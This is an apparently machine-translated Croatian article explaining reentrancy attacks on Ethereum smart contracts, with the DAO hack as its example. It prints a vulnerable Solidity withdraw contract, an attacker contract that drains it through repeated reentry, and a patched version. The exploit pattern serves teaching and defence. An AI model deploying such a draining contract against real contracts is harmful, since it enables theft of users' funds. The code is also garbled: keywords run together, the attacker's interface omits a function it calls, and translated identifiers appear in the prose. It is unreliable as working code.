Evo kako se odvija jedno od najčešćih hakiranja pametnih ugovora koje je tvrtke Web 3 koštalo milijune...

Neka od najvećih hakiranja u blockchain industriji, gdje su ukradeni tokeni kriptovalute vrijedni milijune dolara, rezultat su napada ponovnog ulaska. Iako su ovi hakovi postali rjeđi posljednjih godina, oni i dalje predstavljaju značajnu prijetnju blockchain aplikacijama i korisnicima.

Dakle, što su točno napadi ponovnog ulaska? Kako su raspoređeni? I postoje li neke mjere koje programeri mogu poduzeti kako bi spriječili da se to dogodi?

Što je napad ponovnog ulaska?

Napad ponovnog ulaska događa se kada ranjiva funkcija pametnog ugovora upućuje vanjski poziv zlonamjernom ugovoru, privremeno odustajući od kontrole tijeka transakcije. Zlonamjerni ugovor zatim opetovano poziva izvornu funkciju pametnog ugovora prije nego završi s izvršenjem dok crpi svoja sredstva.

U osnovi, transakcija povlačenja na Ethereum blockchainu slijedi ciklus od tri koraka: potvrda stanja, doznaka i ažuriranje stanja. Ako kibernetički kriminalac može oteti ciklus prije ažuriranja stanja, može više puta povlačiti sredstva dok se novčanik ne isprazni.

instagram viewer

Kredit za sliku: Etherscan

Jedan od najozloglašenijih hakiranja blockchaina, hakiranje Ethereum DAO, o čemu govori Coindesk, bio je napad ponovnog ulaska koji je doveo do gubitka eth-a u vrijednosti od preko 60 milijuna dolara i iz temelja promijenio tijek druge najveće kriptovalute.

Kako radi napad ponovnog ulaska?

Zamislite banku u vašem rodnom gradu u kojoj čestiti mještani drže svoj novac; njegova ukupna likvidnost iznosi milijun dolara. Međutim, banka ima pogrešan računovodstveni sustav — osoblje čeka do večeri da ažurira bankovna stanja.

Vaš prijatelj investitor posjeti grad i otkrije računovodstveni propust. On kreira račun i položi 100.000 dolara. Dan kasnije podiže 100.000 dolara. Nakon jednog sata, ponovno pokušava podići 100.000 dolara. Budući da banka nije ažurirala njegov saldo, on i dalje iznosi 100.000 dolara. Dakle, on dobiva novac. Čini to više puta dok ne ostane novca. Službenici shvate da nema novca tek kad navečer slože knjige.

U kontekstu pametnog ugovora, proces ide na sljedeći način:

  1. Kibernetički kriminalac identificira pametni ugovor "X" s ranjivošću.
  2. Napadač pokreće legitimnu transakciju na ciljni ugovor, X, kako bi poslao sredstva na zlonamjerni ugovor, "Y." Tijekom izvođenja, Y poziva ranjivu funkciju u X.
  3. X-ovo izvršenje ugovora je pauzirano ili odgođeno jer ugovor čeka na interakciju s vanjskim događajem
  4. Dok je izvršenje pauzirano, napadač više puta poziva istu ranjivu funkciju u X-u, ponovno pokrećući njezino izvršenje onoliko puta koliko je to moguće
  5. Sa svakim ponovnim ulaskom, stanje ugovora se manipulira, dopuštajući napadaču da iscrpi sredstva s X na Y
  6. Nakon što se sredstva potroše, ponovni ulazak se zaustavlja, X-ovo odgođeno izvršenje konačno dovršava, a stanje ugovora se ažurira na temelju posljednjeg ponovnog ulaska.

Općenito, napadač uspješno iskorištava ranjivost ponovnog ulaska u svoju korist, krađu sredstava iz ugovora.

Primjer napada ponovnog ulaska

Dakle, kako se tehnički može dogoditi napad ponovnog ulaska kada se postavi? Evo hipotetskog pametnog ugovora s pristupnikom za ponovni ulazak. Koristit ćemo aksiomatsko imenovanje kako bismo ga lakše pratili.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

The VulnerableContract omogućuje korisnicima da polože eth u ugovor koristeći depozit funkcija. Korisnici zatim mogu povući svoj položeni eth koristeći povući funkcija. Međutim, postoji ranjivost ponovnog ulaska u povući funkcija. Kada se korisnik povuče, ugovor prenosi traženi iznos na adresu korisnika prije ažuriranja stanja, stvarajući priliku za iskorištavanje napadača.

Sada, evo kako bi izgledao pametni ugovor napadača.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Kada je napad pokrenut:

  1. The AttackerContract preuzima adresu VulnerableContract u svom konstruktoru i pohranjuje ga u vulnerableContract varijabla.
  2. The napad funkciju poziva napadač, polažući nešto eth u VulnerableContract koristiti depozit funkciju i zatim odmah pozivanje povući funkcija VulnerableContract.
  3. The povući funkcija u VulnerableContract prenosi traženu količinu eth napadaču AttackerContract prije ažuriranja stanja, ali budući da je ugovor napadača pauziran tijekom vanjskog poziva, funkcija još nije dovršena.
  4. The primiti funkcija u AttackerContract pokreće se jer VulnerableContract poslao eth ovom ugovoru tijekom vanjskog poziva.
  5. Funkcija primanja provjerava je li AttackerContract saldo je najmanje 1 ether (iznos za podizanje), a zatim ponovno ulazi u VulnerableContract pozivanjem svoje povući ponovno funkcionirati.
  6. Korake tri do pet ponavljajte dok ne VulnerableContract ponestane sredstava i napadačev ugovor akumulira znatnu količinu eth.
  7. Konačno, napadač može nazvati povućiStolenFunds funkcija u AttackerContract ukrasti sva sredstva nakupljena u njihovom ugovoru.

Napad se može dogoditi vrlo brzo, ovisno o performansama mreže. Kada su uključeni složeni pametni ugovori kao što je DAO Hack, koji je doveo do hard forka Ethereuma u Ethereum i Ethereum Classic, napad traje nekoliko sati.

Kako spriječiti napad ponovnog ulaska

Kako bismo spriječili napad ponovnim ulaskom, moramo modificirati ranjivi pametni ugovor tako da slijedi najbolje prakse za siguran razvoj pametnog ugovora. U ovom slučaju, trebali bismo implementirati obrazac "provjere-učinci-interakcije" kao u donjem kodu.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

U ovoj fiksnoj verziji uveli smo je Zaključano mapiranje za praćenje je li određeni račun u procesu povlačenja. Kada korisnik pokrene isplatu, ugovor provjerava je li njegov račun zaključan (!isLocked[msg.sender]), što znači da trenutačno nije u tijeku nikakvo drugo povlačenje s istog računa.

Ako račun nije zaključan, ugovor se nastavlja s promjenom stanja i vanjskom interakcijom. Nakon promjene stanja i vanjske interakcije, račun se ponovno otključava, dopuštajući buduća podizanja.

Vrste napada ponovnim ulaskom

Autor slike: Ivan Radić/Flickr

Općenito, postoje tri glavne vrste napada ponovnim ulaskom na temelju njihove prirode iskorištavanja.

  1. Napad s pojedinačnim ponovnim ulaskom: U ovom slučaju, ranjiva funkcija koju napadač opetovano poziva ista je ona koja je osjetljiva na pristupnik ponovnog ulaska. Gornji napad je primjer jednog napada ponovnog ulaska, koji se može lako spriječiti implementacijom odgovarajućih provjera i zaključavanja koda.
  2. Napad između funkcija: U ovom scenariju, napadač koristi ranjivu funkciju da pozove drugu funkciju unutar istog ugovora koji dijeli stanje s ranjivom funkcijom. Druga funkcija, koju poziva napadač, ima neki poželjan učinak, što je čini privlačnijom za iskorištavanje. Ovaj je napad složeniji i teže ga je otkriti, pa su potrebne stroge provjere i zaključavanja međupovezanih funkcija kako bi se ublažio.
  3. Napad između ugovora: Ovaj napad se događa kada vanjski ugovor stupa u interakciju s ranjivim ugovorom. Tijekom ove interakcije, stanje ranjivog ugovora poziva se u vanjskom ugovoru prije nego što se potpuno ažurira. Obično se događa kada više ugovora dijeli istu varijablu, a neki nesigurno ažuriraju zajedničku varijablu. Sigurni komunikacijski protokoli između ugovora i periodičnih revizije pametnih ugovora moraju se implementirati kako bi se ublažio ovaj napad.

Napadi ponovnog ulaska mogu se manifestirati u različitim oblicima i stoga zahtijevaju posebne mjere za sprječavanje svakog od njih.

Ostanite sigurni od napada ponovnim ulaskom

Napadi ponovnog ulaska prouzročili su znatne financijske gubitke i potkopali povjerenje u blockchain aplikacije. Kako bi zaštitili ugovore, programeri moraju marljivo usvojiti najbolje prakse kako bi izbjegli ranjivosti ponovnog ulaska.

Također bi trebali implementirati sigurne obrasce povlačenja, koristiti pouzdane knjižnice i provoditi temeljite revizije kako bi dodatno ojačali obranu pametnog ugovora. Naravno, informiranje o nadolazećim prijetnjama i proaktivnost u sigurnosnim naporima mogu osigurati i očuvanje integriteta blockchain ekosustava.